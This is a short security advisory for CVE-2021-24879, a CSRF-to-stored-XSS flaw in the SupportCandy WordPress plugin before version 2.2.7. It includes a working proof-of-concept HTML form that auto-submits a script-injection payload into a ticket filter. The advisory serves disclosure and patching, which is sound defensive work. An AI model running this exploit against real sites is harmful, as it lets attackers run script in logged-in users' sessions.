SupportCandy < 2.2.7 – CSRF to Cross-Site Scripting | CVE 2021-24879

Description

The plugin does not have CSRF check in the wpsc_tickets AJAX action, nor has any sanitisation or escaping in some of the filter fields which could allow attackers to make a logged in user having access to the ticket lists dashboard set an arbitrary filter (stored in their cookies) with an XSS payload in it.

Proof of Concept

<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" id="csrf">
<input type="hidden" name="action" value="wpsc_tickets">
<input type="hidden" name="setting_action" value="set_custom_filter">
<input type="hidden" name="page_no" value="1">
<input type="hidden" name="custom_filter[s]" value="&quot;><script>alert(/XSS/)</script>">
</form><script>csrf.submit()</script>

Go to https://example.com/wp-admin/admin.php?page=wpsc-tickets to trigger the XSS